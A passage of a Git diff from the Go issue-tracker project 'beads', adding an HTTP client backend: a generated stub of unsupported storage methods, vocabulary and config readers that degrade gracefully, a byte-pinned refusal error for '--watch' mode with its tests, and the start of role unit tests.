return +} + +func (unsupportedDoltStorage) GetCurrentCommit(_ context.Context) (_ string, err error) { + err = errUnsupported("GetCurrentCommit") + return +} + +func (unsupportedDoltStorage) GetDependencies(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetDependencies") + return +} + +func (unsupportedDoltStorage) GetDependencyCounts(_ context.Context, _ []string) (_ map[string]*types.DependencyCounts, err error) { + err = errUnsupported("GetDependencyCounts") + return +} + +func (unsupportedDoltStorage) GetDependencyRecordsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetDependencyRecordsForIssues") + return +} + +func (unsupportedDoltStorage) GetDependencyTree(_ context.Context, _ string, _ int, _ bool, _ bool) (_ []*types.TreeNode, err error) { + err = errUnsupported("GetDependencyTree") + return +} + +func (unsupportedDoltStorage) GetDependentRecords(_ context.Context, _ string, _ string, _ int, _ string) (_ []*types.Dependency, err error) { + err = errUnsupported("GetDependentRecords") + return +} + +func (unsupportedDoltStorage) GetDependentRecordsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetDependentRecordsForIssues") + return +} + +func (unsupportedDoltStorage) GetDependents(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetDependents") + return +} + +func (unsupportedDoltStorage) GetEpicsEligibleForClosure(_ context.Context) (_ []*types.EpicStatus, err error) { + err = errUnsupported("GetEpicsEligibleForClosure") + return +} + +func (unsupportedDoltStorage) GetEvents(_ context.Context, _ string, _ int) (_ []*types.Event, err error) { + err = errUnsupported("GetEvents") + return +} + +func (unsupportedDoltStorage) GetFederationPeer(_ context.Context, _ string) (_ *storage.FederationPeer, err error) { + err = errUnsupported("GetFederationPeer") + return +} + +func (unsupportedDoltStorage) GetIssueByExternalRef(_ context.Context, _ string) (_ *types.Issue, err error) { + err = errUnsupported("GetIssueByExternalRef") + return +} + +func (unsupportedDoltStorage) GetIssueCommentsPage(_ context.Context, _ string, _ storage.CommentPageCursor, _ int) (_ []*types.Comment, err error) { + err = errUnsupported("GetIssueCommentsPage") + return +} + +func (unsupportedDoltStorage) GetIssuesByIDs(_ context.Context, _ []string) (_ []*types.Issue, err error) { + err = errUnsupported("GetIssuesByIDs") + return +} + +func (unsupportedDoltStorage) GetIssuesByLabel(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetIssuesByLabel") + return +} + +func (unsupportedDoltStorage) GetLabelsForIssues(_ context.Context, _ []string) (_ map[string][]string, err error) { + err = errUnsupported("GetLabelsForIssues") + return +} + +func (unsupportedDoltStorage) GetMoleculeLastActivity(_ context.Context, _ string) (_ *types.MoleculeLastActivity, err error) { + err = errUnsupported("GetMoleculeLastActivity") + return +} + +func (unsupportedDoltStorage) GetMoleculeProgress(_ context.Context, _ string) (_ *types.MoleculeProgressStats, err error) { + err = errUnsupported("GetMoleculeProgress") + return +} + +func (unsupportedDoltStorage) GetNewlyUnblockedByClose(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetNewlyUnblockedByClose") + return +} + +func (unsupportedDoltStorage) GetNextChildID(_ context.Context, _ string) (_ string, err error) { + err = errUnsupported("GetNextChildID") + return +} + +func (unsupportedDoltStorage) GetProvenanceByRef(_ context.Context, _ string) (_ []types.ProvenanceEvent, err error) { + err = errUnsupported("GetProvenanceByRef") + return +} + +func (unsupportedDoltStorage) GetProvenanceEvents(_ context.Context, _ string, _ string) (_ []types.ProvenanceEvent, err error) { + err = errUnsupported("GetProvenanceEvents") + return +} + +func (unsupportedDoltStorage) GetRepoMtime(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("GetRepoMtime") + return +} + +func (unsupportedDoltStorage) GetStaleIssues(_ context.Context, _ types.StaleFilter) (_ []*types.Issue, err error) { + err = errUnsupported("GetStaleIssues") + return +} + +func (unsupportedDoltStorage) GetStatisticsNoBlocked(_ context.Context) (_ *types.Statistics, err error) { + err = errUnsupported("GetStatisticsNoBlocked") + return +} + +func (unsupportedDoltStorage) GetTier1Candidates(_ context.Context) (_ []*types.CompactionCandidate, err error) { + err = errUnsupported("GetTier1Candidates") + return +} + +func (unsupportedDoltStorage) GetTier2Candidates(_ context.Context) (_ []*types.CompactionCandidate, err error) { + err = errUnsupported("GetTier2Candidates") + return +} + +func (unsupportedDoltStorage) HasRemote(_ context.Context, _ string) (_ bool, err error) { + err = errUnsupported("HasRemote") + return +} + +func (unsupportedDoltStorage) HeartbeatIssue(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("HeartbeatIssue") + return +} + +func (unsupportedDoltStorage) History(_ context.Context, _ string) (_ []*storage.HistoryEntry, err error) { + err = errUnsupported("History") + return +} + +func (unsupportedDoltStorage) ImportIssueComment(_ context.Context, _ string, _ string, _ string, _ time.Time) (_ *types.Comment, err error) { + err = errUnsupported("ImportIssueComment") + return +} + +func (unsupportedDoltStorage) InitVerifier() (_ issueops.InitVerifier, err error) { + err = errUnsupported("InitVerifier") + return +} + +func (unsupportedDoltStorage) IsBlocked(_ context.Context, _ string) (_ bool, _ []string, err error) { + err = errUnsupported("IsBlocked") + return +} + +func (unsupportedDoltStorage) IsBlockedBatch(_ context.Context, _ []string) (_ map[string]bool, err error) { + err = errUnsupported("IsBlockedBatch") + return +} + +func (unsupportedDoltStorage) IterAllDependencyRecords(_ context.Context) (_ storage.Iter[types.Dependency], err error) { + err = errUnsupported("IterAllDependencyRecords") + return +} + +func (unsupportedDoltStorage) IterAllEventsSince(_ context.Context, _ time.Time) (_ storage.Iter[types.Event], err error) { + err = errUnsupported("IterAllEventsSince") + return +} + +func (unsupportedDoltStorage) IterBlockedIssues(_ context.Context, _ types.WorkFilter) (_ storage.Iter[types.BlockedIssue], err error) { + err = errUnsupported("IterBlockedIssues") + return +} + +func (unsupportedDoltStorage) IterDependenciesWithMetadata(_ context.Context, _ string) (_ storage.Iter[types.IssueWithDependencyMetadata], err error) { + err = errUnsupported("IterDependenciesWithMetadata") + return +} + +func (unsupportedDoltStorage) IterDependentsWithMetadata(_ context.Context, _ string) (_ storage.Iter[types.IssueWithDependencyMetadata], err error) { + err = errUnsupported("IterDependentsWithMetadata") + return +} + +func (unsupportedDoltStorage) IterEvents(_ context.Context, _ string, _ int) (_ storage.Iter[types.Event], err error) { + err = errUnsupported("IterEvents") + return +} + +func (unsupportedDoltStorage) IterIssueComments(_ context.Context, _ string) (_ storage.Iter[types.Comment], err error) { + err = errUnsupported("IterIssueComments") + return +} + +func (unsupportedDoltStorage) IterIssues(_ context.Context, _ string, _ types.IssueFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterIssues") + return +} + +func (unsupportedDoltStorage) IterReadyWork(_ context.Context, _ types.WorkFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterReadyWork") + return +} + +func (unsupportedDoltStorage) IterWisps(_ context.Context, _ types.WispFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterWisps") + return +} + +func (unsupportedDoltStorage) ListBranches(_ context.Context) (_ []string, err error) { + err = errUnsupported("ListBranches") + return +} + +func (unsupportedDoltStorage) ListFederationPeers(_ context.Context) (_ []*storage.FederationPeer, err error) { + err = errUnsupported("ListFederationPeers") + return +} + +func (unsupportedDoltStorage) ListRemotes(_ context.Context) (_ []storage.RemoteInfo, err error) { + err = errUnsupported("ListRemotes") + return +} + +func (unsupportedDoltStorage) ListWisps(_ context.Context, _ types.WispFilter) (_ []*types.Issue, err error) { + err = errUnsupported("ListWisps") + return +} + +func (unsupportedDoltStorage) Log(_ context.Context, _ int) (_ []storage.CommitInfo, err error) { + err = errUnsupported("Log") + return +} + +func (unsupportedDoltStorage) Merge(_ context.Context, _ string) (_ []storage.Conflict, err error) { + err = errUnsupported("Merge") + return +} + +func (unsupportedDoltStorage) MergeMetadata(_ context.Context, _ string, _ string, _ json.RawMessage, _ string) (err error) { + err = errUnsupported("MergeMetadata") + return +} + +func (unsupportedDoltStorage) MergeSlotAcquire(_ context.Context, _ string, _ string, _ bool) (_ *storage.MergeSlotResult, err error) { + err = errUnsupported("MergeSlotAcquire") + return +} + +func (unsupportedDoltStorage) MergeSlotCheck(_ context.Context) (_ *storage.MergeSlotStatus, err error) { + err = errUnsupported("MergeSlotCheck") + return +} + +func (unsupportedDoltStorage) MergeSlotCreate(_ context.Context, _ string) (_ *types.Issue, err error) { + err = errUnsupported("MergeSlotCreate") + return +} + +func (unsupportedDoltStorage) MergeSlotRelease(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("MergeSlotRelease") + return +} + +func (unsupportedDoltStorage) PromoteFromEphemeral(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("PromoteFromEphemeral") + return +} + +func (unsupportedDoltStorage) Pull(_ context.Context) (err error) { + err = errUnsupported("Pull") + return +} + +func (unsupportedDoltStorage) PullFrom(_ context.Context, _ string) (_ []storage.Conflict, err error) { + err = errUnsupported("PullFrom") + return +} + +func (unsupportedDoltStorage) PullRemote(_ context.Context, _ string) (err error) { + err = errUnsupported("PullRemote") + return +} + +func (unsupportedDoltStorage) Push(_ context.Context) (err error) { + err = errUnsupported("Push") + return +} + +func (unsupportedDoltStorage) PushRemote(_ context.Context, _ string, _ bool) (err error) { + err = errUnsupported("PushRemote") + return +} + +func (unsupportedDoltStorage) PushTo(_ context.Context, _ string) (err error) { + err = errUnsupported("PushTo") + return +} + +func (unsupportedDoltStorage) ReclaimExpiredLeases(_ context.Context, _ time.Duration, _ types.ReclaimFilter, _ string) (_ []types.ReclaimedLease, err error) { + err = errUnsupported("ReclaimExpiredLeases") + return +} + +func (unsupportedDoltStorage) RecordProvenanceEvent(_ context.Context, _ types.ProvenanceEvent) (_ string, _ bool, err error) { + err = errUnsupported("RecordProvenanceEvent") + return +} + +func (unsupportedDoltStorage) RemoveDependency(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("RemoveDependency") + return +} + +func (unsupportedDoltStorage) RemoveDependencyWithOptions(_ context.Context, _ string, _ string, _ string, _ storage.DependencyRemoveOptions) (err error) { + err = errUnsupported("RemoveDependencyWithOptions") + return +} + +func (unsupportedDoltStorage) RemoveFederationPeer(_ context.Context, _ string) (err error) { + err = errUnsupported("RemoveFederationPeer") + return +} + +func (unsupportedDoltStorage) RemoveLabel(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("RemoveLabel") + return +} + +func (unsupportedDoltStorage) RemoveRemote(_ context.Context, _ string) (err error) { + err = errUnsupported("RemoveRemote") + return +} + +func (unsupportedDoltStorage) RenameLabel(_ context.Context, _ string, _ string, _ string) (_ int, _ int, _ []string, err error) { + err = errUnsupported("RenameLabel") + return +} + +func (unsupportedDoltStorage) ReopenIssue(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("ReopenIssue") + return +} + +func (unsupportedDoltStorage) ResolveConflicts(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("ResolveConflicts") + return +} + +func (unsupportedDoltStorage) RestoreFromSnapshot(_ context.Context, _ string) (_ *types.IssueSnapshot, err error) { + err = errUnsupported("RestoreFromSnapshot") + return +} + +func (unsupportedDoltStorage) RunInIssueLifecycleTransaction(_ context.Context, _ string, _ func(storage.IssueLifecycleTransaction) error) (err error) { + err = errUnsupported("RunInIssueLifecycleTransaction") + return +} + +func (unsupportedDoltStorage) RunInTransaction(_ context.Context, _ string, _ func(storage.Transaction) error) (err error) { + err = errUnsupported("RunInTransaction") + return +} + +func (unsupportedDoltStorage) SearchIssueIDs(_ context.Context, _ string, _ types.IssueFilter) (_ []string, err error) { + err = errUnsupported("SearchIssueIDs") + return +} + +func (unsupportedDoltStorage) SearchIssueSummaries(_ context.Context, _ string, _ types.IssueFilter) (_ []*types.IssueSummary, err error) { + err = errUnsupported("SearchIssueSummaries") + return +} + +func (unsupportedDoltStorage) SearchIssuesWithCounts(_ context.Context, _ string, _ types.IssueFilter) (_ []*types.IssueWithCounts, err error) { + err = errUnsupported("SearchIssuesWithCounts") + return +} + +func (unsupportedDoltStorage) SetConfig(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("SetConfig") + return +} + +func (unsupportedDoltStorage) SetMetadata(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("SetMetadata") + return +} + +func (unsupportedDoltStorage) SetRepoMtime(_ context.Context, _ string, _ string, _ int64) (err error) { + err = errUnsupported("SetRepoMtime") + return +} + +func (unsupportedDoltStorage) SlotClear(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("SlotClear") + return +} + +func (unsupportedDoltStorage) SlotGet(_ context.Context, _ string, _ string) (_ string, err error) { + err = errUnsupported("SlotGet") + return +} + +func (unsupportedDoltStorage) SlotSet(_ context.Context, _ string, _ string, _ string, _ string) (err error) { + err = errUnsupported("SlotSet") + return +} + +func (unsupportedDoltStorage) SnapshotIssue(_ context.Context, _ string, _ int) (err error) { + err = errUnsupported("SnapshotIssue") + return +} + +func (unsupportedDoltStorage) Status(_ context.Context) (_ *storage.Status, err error) { + err = errUnsupported("Status") + return +} + +func (unsupportedDoltStorage) Sync(_ context.Context, _ string, _ string) (_ *storage.SyncResult, err error) { + err = errUnsupported("Sync") + return +} + +func (unsupportedDoltStorage) SyncStatus(_ context.Context, _ string) (_ *storage.SyncStatus, err error) { + err = errUnsupported("SyncStatus") + return +} + +func (unsupportedDoltStorage) UnclaimIssue(_ context.Context, _ string, _ string, _ bool) (err error) { + err = errUnsupported("UnclaimIssue") + return +} + +func (unsupportedDoltStorage) UnclaimIssueIfAssignee(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("UnclaimIssueIfAssignee") + return +} + +func (unsupportedDoltStorage) UpdateIssue(_ context.Context, _ string, _ map[string]interface{}, _ string) (err error) { + err = errUnsupported("UpdateIssue") + return +} + +func (unsupportedDoltStorage) UpdateIssueChecked(_ context.Context, _ string, _ map[string]interface{}, _ string, _ storage.UpdateIssueOptions) (err error) { + err = errUnsupported("UpdateIssueChecked") + return +} + +func (unsupportedDoltStorage) UpdateIssueID(_ context.Context, _ string, _ string, _ *types.Issue, _ string) (err error) { + err = errUnsupported("UpdateIssueID") + return +} + +func (unsupportedDoltStorage) UpdateIssueType(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("UpdateIssueType") + return +} + +func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, err error) { + err = errUnsupported("VersionReconciler") + return +} + +// NOTE: partial shell (145 of 199 methods generated; 54 left to this package's hand-written set). diff --git a/internal/httpclient/vocabulary.go b/internal/httpclient/vocabulary.go new file mode 100644 index 000000000..52ce25a80 --- /dev/null +++ b/internal/httpclient/vocabulary.go @@ -0,0 +1,289 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/vocabulary.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "slices" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/httpclient/encode" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The off-role config, statistics and vocabulary reads: the probes cmd/bd still +// makes directly, each riding the operation its role rides (design D4). +// +// They live off the unsupported allowlist because a v0 operation answers each of +// them, and they are served DEGRADED where the wire's source is narrower than +// the store's — which is ledger row L7 and is the reason every one of these +// methods is documented as "must never hard-fail". LoadStoreListConfig wraps the +// four vocabulary reads in a failure that would kill every `bd list`, so a +// refusal here is not a refusal of a feature, it is a refusal of the command. + +// GetAllConfig serves listSettings. Routing reads it; the server omits redacted +// values, and routing keys are not credential-bearing (D4). +func (s *Store) GetAllConfig(ctx context.Context) (map[string]string, error) { + cfg, err := s.WorkspaceConfig() + if err != nil { + return nil, err + } + res, err := cfg.ListSettings(ctx, issueops.ListSettingsRequest{}) + if err != nil { + return nil, err + } + return res.Settings, nil +} + +// GetStatistics serves getStats. It answers the auto-import gate, the routing +// notice and `bd ready`'s empty-state probe (D4) — the last of which is why this +// is served rather than stubbed: an empty-state probe that failed would print +// "No open issues" against a workspace full of them. +func (s *Store) GetStatistics(ctx context.Context) (*types.Statistics, error) { + reporter, err := s.StatsReporter() + if err != nil { + return nil, err + } + res, err := reporter.Stats(ctx, issueops.StatsRequest{}) + if err != nil { + return nil, err + } + summary := res.Summary + return &summary, nil +} + +// The status and type vocabulary, served from the pre-migration config keys that +// are its only wire-visible source (L7). +// +// EVERY ONE OF THESE SWALLOWS ITS TRANSPORT ERROR into the empty vocabulary, and +// that is a decision rather than sloppiness. LoadStoreListConfig turns any error +// here into a hard failure of `bd list` (internal/workapi/list.go), so a +// momentarily busy server would take down the listing rather than degrade it — +// and the vocabulary is already documented as degraded on this backend. What is +// NOT swallowed is a refusal to serve the listing itself: the reads that decide +// the answer go through the role and report their errors. + +// GetCustomStatuses serves the custom status names. +func (s *Store) GetCustomStatuses(ctx context.Context) ([]string, error) { + detailed, err := s.GetCustomStatusesDetailed(ctx) + if err != nil { + return nil, err + } + names := make([]string, 0, len(detailed)) + for _, cs := range detailed { + names = append(names, cs.Name) + } + return names, nil +} + +// GetCustomStatusesDetailed serves the custom statuses with their categories, +// from the `status.custom` key. +// +// The custom_statuses TABLE is the authoritative source on a migrated workspace +// and no v0 operation exposes it, so a table-backed vocabulary is invisible from +// here. That is L7, and it is survivable for one reason: server-side role +// validation still uses the true vocabulary, so the answers stay correct even +// where this client's copy of the names is short. +// +// THE ANSWER IS ORDERED BY NAME, which is not the order the config string lists +// them in. Every other leg reads the projected table with an explicit ORDER BY +// name, so name order is what this role answers rather than a property of any +// one storage layout — and a client that handed back the string's own order +// would be the only backend whose vocabulary changed shape when an operator +// rewrote the same set in a different sequence. +func (s *Store) GetCustomStatusesDetailed(ctx context.Context) ([]types.CustomStatus, error) { + value, err := s.settingOrEmpty(ctx, issueops.SettingKeyStatusCustom) + if err != nil { + return nil, err + } + if value != "" { + // A value that does not parse is answered as no custom statuses, which + // is what the embedded resolver does with the same string: the workspace + // is misconfigured, and failing the listing over it would be a harder + // answer than the local store gives. + if parsed, parseErr := types.ParseCustomStatusConfig(value); parseErr == nil { + return sortStatusesByName(parsed), nil + } + return nil, nil + } + if yaml := config.GetCustomStatusesFromYAML(); len(yaml) > 0 { + return sortStatusesByName(parseStatusFallback(yaml)), nil + } + return nil, nil +} + +// GetCustomTypes serves the custom issue-type names from the `types.custom` key. +// +// THE VALUE HAS TWO SPELLINGS and the shared parser knows both: the JSON array +// `bd config set` and `bd pour` write, and the legacy comma-separated form. +// storageops.ParseTypesConfigValue IS that parser rather than a copy of it — +// this client reaching for the same function is what keeps a workspace +// configured through the ordinary front door from reading as ONE custom type +// named `["a","b"]` here and two everywhere else. +// +// Ordered by name for GetCustomStatusesDetailed's reason, and the same L7 +// caveat applies: the custom_types table is invisible over v0, so the config +// string is the whole source. +func (s *Store) GetCustomTypes(ctx context.Context) ([]string, error) { + value, err := s.settingOrEmpty(ctx, issueops.SettingKeyTypesCustom) + if err != nil { + return nil, err + } + if value != "" { + names := storageops.ParseTypesConfigValue(value) + slices.Sort(names) + return names, nil + } + return config.GetCustomTypesFromYAML(), nil +} + +// sortStatusesByName orders a parsed status vocabulary the way every leg's table +// read orders it. It sorts a copy's backing array in place, which is safe +// because both callers own the slice they pass. +func sortStatusesByName(statuses []types.CustomStatus) []types.CustomStatus { + slices.SortFunc(statuses, func(a, b types.CustomStatus) int { + return strings.Compare(a.Name, b.Name) + }) + return statuses +} + +// GetInfraTypes and IsInfraTypeCtx have NO error return, so they structurally +// cannot report a transport failure and cannot sit on the unsupported allowlist +// — which is why they were hand-written and refusing from the first commit. +// Now that `types.infra` is readable they answer from it, falling back to the +// same defaults the embedded resolver falls back to. +func (s *Store) GetInfraTypes(ctx context.Context) map[string]bool { + value, err := s.settingOrEmpty(ctx, infraTypesKey) + if err != nil { + // Nowhere to report it, so the honest answer is the one the resolver + // gives an unconfigured workspace rather than an empty map, which would + // say "nothing is infrastructure" and admit agent and message rows into + // every default listing. + value = "" + } + names := splitList(value) + if len(names) == 0 { + names = config.GetInfraTypesFromYAML() + } + if len(names) == 0 { + names = defaultInfraTypes() + } + out := make(map[string]bool, len(names)) + for _, name := range names { + out[name] = true + } + return out +} + +// IsInfraTypeCtx reports whether t is one of the workspace's infra types. +func (s *Store) IsInfraTypeCtx(ctx context.Context, t types.IssueType) bool { + return s.GetInfraTypes(ctx)[string(t)] +} + +// infraTypesKey is the flat config key the infra vocabulary lives under. It is +// spelled here rather than imported because the constant that holds it lives in +// the embedded storage package, which this client must not depend on. +const infraTypesKey = "types.infra" + +// settingOrEmpty reads one setting, treating an unset key as the empty string — +// which is what the role already promises — and reporting only a real failure. +func (s *Store) settingOrEmpty(ctx context.Context, key string) (string, error) { + value, err := s.GetConfig(ctx, key) + if errors.Is(err, ErrSettingRedacted) { + // A vocabulary key an operator marked credential-bearing is a + // misconfiguration, not a secret worth failing over: these three name + // statuses and issue types. GetConfig is right to report the withholding + // to a caller that asked for the VALUE, and this caller is asking what + // the workspace's vocabulary is — so it reads as unconfigured and the + // listing degrades per L7 instead of dying. + return "", nil + } + if err != nil { + return "", err + } + return value, nil +} + +// splitList parses the comma-separated form the flat vocabulary keys use. +func splitList(value string) []string { + if strings.TrimSpace(value) == "" { + return nil + } + parts := strings.Split(value, ",") + out := make([]string, 0, len(parts)) + for _, part := range parts { + if part = strings.TrimSpace(part); part != "" { + out = append(out, part) + } + } + return out +} + +// parseStatusFallback reads the bare-name YAML spelling, which carries no +// category. Unspecified is the right reading: the exclusion rule only fires on +// the done and frozen categories, so a name with no category is a status the +// default listing SHOWS — which is the conservative direction. +func parseStatusFallback(names []string) []types.CustomStatus { + out := make([]types.CustomStatus, 0, len(names)) + for _, name := range names { + out = append(out, types.CustomStatus{Name: name, Category: types.CategoryUnspecified}) + } + return out +} + +// defaultInfraTypes mirrors the domain default. It is three literals rather than +// an import because internal/storage/domain is the embedded engine's own +// package; a drift here is caught by the parent-walk round trip, which fails the +// moment the client's derived exclusions stop matching the server's. +func defaultInfraTypes() []string { return []string{"agent", "role", "message"} } + +// listConfig is the client-side vocabulary the parent-walk inversion recognizes +// with, cached for the life of the store. +// +// CACHED because the walk asks for it once per level and the answer cannot +// change within one command: `bd list` already loaded exactly this value to +// BUILD the filter being inverted, so re-reading it per level would be three +// wire calls to re-learn something the process has held since before the walk +// started. +// +// It is assembled from the same three reads workapi's own loader makes, but it +// is assembled through the bridge subpackage rather than by importing that +// loader: the store is on the wrong side of the client boundary for a workapi +// dependency, and the bridge is the allowlisted side. +// +// A read that fails leaves the vocabulary EMPTY rather than failing the walk. +// That is the conservative direction, not a shrug: an empty vocabulary still +// recognizes the built-in defaults, and a filter carrying a custom exclusion +// this client could not read then refuses loudly instead of encoding a narrower +// question. +func (s *Store) listConfig(ctx context.Context) encode.ListConfig { + s.vocabOnce.Do(func() { + statuses, err := s.GetCustomStatusesDetailed(ctx) + if err != nil { + return + } + customTypes, err := s.GetCustomTypes(ctx) + if err != nil { + return + } + s.vocab = encode.NewListConfig(statuses, customTypes, s.GetInfraTypes(ctx)) + }) + return s.vocab +} + +// vocabularyCache is the store's memoized ListConfig. It is a separate type so +// the zero Store stays usable by the refusal contract, which constructs one with +// no fields set. +type vocabularyCache struct { + vocabOnce sync.Once + vocab encode.ListConfig +} + +// isNotFound reports the wire's not_found, which several roles turn back into a +// result rather than an error. +func isNotFound(err error) bool { return errors.Is(err, issueops.ErrNotFound) } diff --git a/internal/httpclient/watch.go b/internal/httpclient/watch.go new file mode 100644 index 000000000..2849d2a86 --- /dev/null +++ b/internal/httpclient/watch.go @@ -0,0 +1,67 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/watch.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "fmt" +) + +// The flag-mode refusals this backend raises in the user's own vocabulary. +// +// D7 puts the three taxonomy texts at the CLI, and rightly: they name commands +// and flags, and a store method name must never reach a user. What lives HERE is +// the text itself plus the sentinel that carries it, for one reason — the +// decision is the backend's. `--watch` is refused because of what polling a +// shared server costs the server, which is a fact about this backend and not +// about cobra, so the wrapper that fires before RunE should read the sentence +// off the backend rather than keep a second copy of it. +// +// The early-refusal wrapper itself is cmd/bd wiring and lands with the +// activation bead; this is the half it calls. + +// ErrWatchUnsupported reports that a watch loop was asked for against an http +// workspace. It is the class sentinel, so a call site can classify without +// matching text. +var ErrWatchUnsupported = errors.New("watch mode is not supported against an http workspace") + +// WatchRefusedError is D10's refusal, carrying what its text names. +type WatchRefusedError struct { + // Command is the user's spelling of the command whose watch loop was asked + // for — "bd list", "bd show". It is the command, never a method. + Command string + // ServerURL is the workspace's server, named because the refusal is about + // THAT server's load and an operator needs to know which one. + ServerURL string +} + +// Error is byte-pinned by TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt. The +// standard error path prefixes "Error: ", so this is the sentence after it. +// +// It states the reason rather than only the refusal because the reason is the +// whole decision: the loops poll every two seconds, each `bd list` tick is a +// full cursor walk, per-tick errors either spam or vanish silently, the watch +// display's dependency decoration is refused anyway, and N watching agents +// against one server is a request storm its semaphore answers with 503s the loop +// does not back off from. Serving watch honestly needs a change-detection +// primitive on the wire, which is the revisit trigger. +func (e *WatchRefusedError) Error() string { + return fmt.Sprintf( + "--watch is not supported against HTTP workspace %s: polling a shared server every 2s amplifies load without change detection; run %s without --watch, or watch in a local workspace", + e.ServerURL, e.Command) +} + +func (e *WatchRefusedError) Unwrap() error { return ErrWatchUnsupported } + +// RefuseWatch builds the refusal for one command against this store's server. +// +// It takes the command's user-facing spelling because the store cannot know it: +// `bd list --watch` and `bd show --watch` reach the same backend and the text +// names the one the user typed. +func (s *Store) RefuseWatch(command string) error { + e := &WatchRefusedError{Command: command} + if s != nil { + e.ServerURL = s.target.String() + } + return e +} diff --git a/internal/httpclient/watch_test.go b/internal/httpclient/watch_test.go new file mode 100644 index 000000000..d9bad188c --- /dev/null +++ b/internal/httpclient/watch_test.go @@ -0,0 +1,53 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/watch_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "strings" + "testing" +) + +// TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt is the byte pin D10 asks for. +// +// The text is the decision, not a description of one: it names the flag, the +// workspace, the cost that made watch unservable, and BOTH recoveries. A +// refusal that said only "not supported" would send an operator to a bug +// tracker, and one that dropped the local-workspace recovery would leave them +// with no way to get the behavior at all. +func TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt(t *testing.T) { + // pinnedProjectTarget, not testTarget: the expected text below pins the + // literal workspace URL, so it needs the fixed-URL builder (S3 + // reconciliation, 2026-10 — this file's testTarget + // call predated the rename that split the two helpers apart). + s := New(pinnedProjectTarget(t), nil, nil) + + const want = "--watch is not supported against HTTP workspace http://127.0.0.1:7777: " + + "polling a shared server every 2s amplifies load without change detection; " + + "run bd list without --watch, or watch in a local workspace" + + err := s.RefuseWatch("bd list") + if got := err.Error(); got != want { + t.Errorf("refusal text:\n got %q\nwant %q", got, want) + } + if !errors.Is(err, ErrWatchUnsupported) { + t.Error("the refusal does not classify as ErrWatchUnsupported") + } + + // The command is the user's spelling, so the second front door names itself. + if got := s.RefuseWatch("bd show").Error(); !strings.Contains(got, "run bd show without --watch") { + t.Errorf("bd show's refusal names the wrong command: %q", got) + } +} + +// TestTheWatchRefusalNamesNoStoreMethod is D7's choke point applied to this +// text: a refusal a user reads must speak flags and commands, never the Go +// method the dispatch happened to land on. +func TestTheWatchRefusalNamesNoStoreMethod(t *testing.T) { + text := New(testTarget(t), nil, nil).RefuseWatch("bd list").Error() + for name := range legitimatelyUnsupported { + if strings.Contains(text, name) { + t.Errorf("the watch refusal names the store method %q", name) + } + } +} diff --git a/internal/httpclient/wave2b_roles_test.go b/internal/httpclient/wave2b_roles_test.go new file mode 100644 index 000000000..86c053aca --- /dev/null +++ b/internal/httpclient/wave2b_roles_test.go @@ -0,0 +1,544 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2b_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2b: the three roles' encoders and decoders, +// driven against a stub transport. +// +// WHAT THIS TIER IS FOR, given that served_*_test.go runs the whole conformance +// contract against a real server: the contracts assert what a BACKEND promises, +// and several of the decisions in this wave are about what this client SENDS or +// how it reads one member back — facts a contract cannot see because a correct +// server produces the same answer either way. The revision stitch is the sharp +// example: a client that dropped `revision` and left Issue.RowVersion at zero +// would fail no contract case that does not read the token back, and the failure +// would surface much later as a precondition_failed on somebody's NEXT request. + +func releaserRole(t *testing.T, w *stubWire) issueops.Releaser { + t.Helper() + role, err := stubStore(t, w).Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + return role +} + +func commenterRole(t *testing.T, w *stubWire) issueops.Commenter { + t.Helper() + role, err := stubStore(t, w).Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + return role +} + +// relationsRole binds the neighbor read against the READ double rather than the +// write one: it is the only role of this wave that dispatches through the +// store's generic door, which is exactly what recordingWire records. +func relationsRole(t *testing.T) (issueops.Relations, *recordingWire) { + t.Helper() + store, w := recordingStore(t) + role, err := store.IssueRelations() + if err != nil { + t.Fatalf("IssueRelations(): %v", err) + } + return role, w +} + +// TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith is the revision +// 